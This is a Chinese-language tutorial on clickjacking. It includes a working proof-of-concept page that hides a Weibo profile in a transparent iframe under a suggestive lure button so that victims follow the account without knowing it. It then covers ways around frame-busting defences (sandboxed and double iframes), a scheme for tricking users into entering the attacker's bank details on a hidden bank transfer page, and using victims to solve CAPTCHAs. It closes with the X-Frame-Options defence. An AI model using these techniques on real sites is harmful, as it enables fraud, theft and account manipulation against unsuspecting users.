點(diǎn)擊劫持(Clickjacking)是由互聯(lián)網(wǎng)安全專家羅伯特·漢森和耶利米·格勞斯曼在2008年首創(chuàng)的。一句話描述這種劫持:利用社工搭配目標(biāo)站的不安全配置對(duì)用戶造成危害。簡(jiǎn)單來(lái)說(shuō):當(dāng)你打開(kāi)一個(gè)網(wǎng)頁(yè)出現(xiàn)一個(gè)flash廣告框,點(diǎn)擊“關(guān)閉”按鈕,可結(jié)果廣告并沒(méi)有關(guān)閉,卻變成了全屏,這樣的情況在計(jì)算機(jī)安全領(lǐng)域叫做點(diǎn)擊劫持。
01 什么是點(diǎn)擊劫持
看到上圖是不是都會(huì)去選擇點(diǎn)擊脫衣呢?以前我也會(huì)這樣做,點(diǎn)開(kāi)說(shuō)不定有驚喜!實(shí)則不然,這張圖大到有可能iframe了一個(gè)銀行轉(zhuǎn)賬頁(yè)面,小則可能是莫名其妙發(fā)出了不該發(fā)的消息,粉了不認(rèn)識(shí)的人,或是一個(gè)廣告。
這就是點(diǎn)擊劫持,但本文不是單純介紹點(diǎn)擊劫持是什么。
02 點(diǎn)擊劫持實(shí)戰(zhàn)
需要懂一些html和css的前端技巧,參考w3school即可。
首先創(chuàng)建一個(gè)poc頁(yè)面,理論上所有點(diǎn)擊劫持的Poc都大同小異。
實(shí)例:新浪微博刷粉
<!DOCTYPE html>
<html>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>
<head>
<title>clickjacking
</title>
<style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; }
</style>
</head>
<body>
<button>點(diǎn)擊脫衣</button>
<img src=”http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg”>
<iframe src=”http://weibo.com/skdlabs” scrolling=”no”></iframe>
</body>
</html>
普通的點(diǎn)擊劫持真正只有兩個(gè)部分最主要,按鈕(button)&頁(yè)面(iframe)。
思路即為,找到有用的地方,查到坐標(biāo),放置按鈕,放置誘惑信息,OK!
1、有用的地方即為想讓用戶點(diǎn)擊的地方,比如轉(zhuǎn)賬按鈕,刪除某博文的按鈕,贊按鈕等。
2、坐標(biāo)即為有用的按鈕在頁(yè)面中的位置,這個(gè)找起來(lái)可能比較麻煩,懂html以及css的則 可以直接從目標(biāo)站源碼中找到坐標(biāo),不懂的這有兩種好方法。win家族系統(tǒng)可以下載屏幕格尺工具量坐標(biāo)。本人OSX,可以像我一樣用便簽mark一下目標(biāo), 然后把iframe隱藏調(diào)節(jié)button到和便簽一致的位置,也很簡(jiǎn)單。
3、找到坐標(biāo)寫(xiě)到html里放置按鈕。
4、誘惑信息自行想。
這樣就構(gòu)成了,是不是很簡(jiǎn)單?
當(dāng)然 有些時(shí)候會(huì)有兩個(gè)按鈕或多個(gè)按鈕,就需要自行搭配頁(yè)面內(nèi)容誘惑人們一個(gè)一個(gè)去點(diǎn)擊。
03 進(jìn)階
點(diǎn)擊劫持常見(jiàn)防御方法的繞過(guò):
JS防御
如if (top.location != self.location) {top.location=self.location;}
<iframe src=”xxx” security=”restricted” scrolling=”no” sandbox=””>
security=”restricted”? 為IE的禁止JS
sandbox=””? 為HTML5的禁止JS
這樣就達(dá)到了bypass的效果,但有時(shí)候我們想劫持的按鈕也是js的 那樣就比較蛋疼了,但可以參考下面的方法。
其他方法跳轉(zhuǎn)進(jìn)行防御
只要是強(qiáng)制跳轉(zhuǎn)到目標(biāo)站的防御方法,都可以用此方法繞過(guò)。
制作雙重iframe,即最底層為目標(biāo)站,二層為透明,這樣還是能達(dá)到我們想要的效果。
讓點(diǎn)擊劫持更猥瑣的搭配:
搭配輸入框
以前曾發(fā)現(xiàn)加拿大某銀行可以進(jìn)行點(diǎn)擊劫持,但需要用戶輸入轉(zhuǎn)賬的銀行卡號(hào)和銀行,那么我們就可以放幾個(gè)框,并誘惑用戶在框里輸入我的銀行卡號(hào)和銀行,這樣用戶看起來(lái)輸入到我們的框里,實(shí)際上輸入到了銀行轉(zhuǎn)賬的頁(yè)面當(dāng)中。
當(dāng)然,在各種情況下也可以搭配各種其他的東西,這就要發(fā)揮你的想象了,點(diǎn)擊劫持讓釣魚(yú)又上升了一個(gè)高度。
有驗(yàn)證碼怎么辦?
部分網(wǎng)站在點(diǎn)擊轉(zhuǎn)賬或其他敏感按鈕的時(shí)候,會(huì)有驗(yàn)證碼來(lái)驗(yàn)證,這對(duì)點(diǎn)擊劫持也是一個(gè)考驗(yàn),那么我們就可以用我們的東西把頁(yè)面覆蓋起來(lái),但留下驗(yàn)證碼圖片和輸入框一部分不覆蓋,通過(guò)社工讓用戶自己識(shí)別驗(yàn)證碼并輸入。
04 對(duì)于防御
X-FRAME-OPTIONS是目前最可靠的方法。
X-FRAME-OPTIONS是微軟提出的一個(gè)http頭,專門(mén)用來(lái)防御利用iframe嵌套的點(diǎn)擊劫持攻擊。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
這個(gè)頭有三個(gè)值:
DENY // 拒絕任何域加載
SAMEORIGIN // 允許同源域下加載
ALLOW-FROM // 可以定義允許frame加載的頁(yè)面地址
php中設(shè)置:
header(“X-FRAME-OPTIONS:DENY”);
以上言論參考點(diǎn)擊劫持提出者的個(gè)人博文和互聯(lián)網(wǎng)上資料,如有錯(cuò)誤,敬請(qǐng)包涵。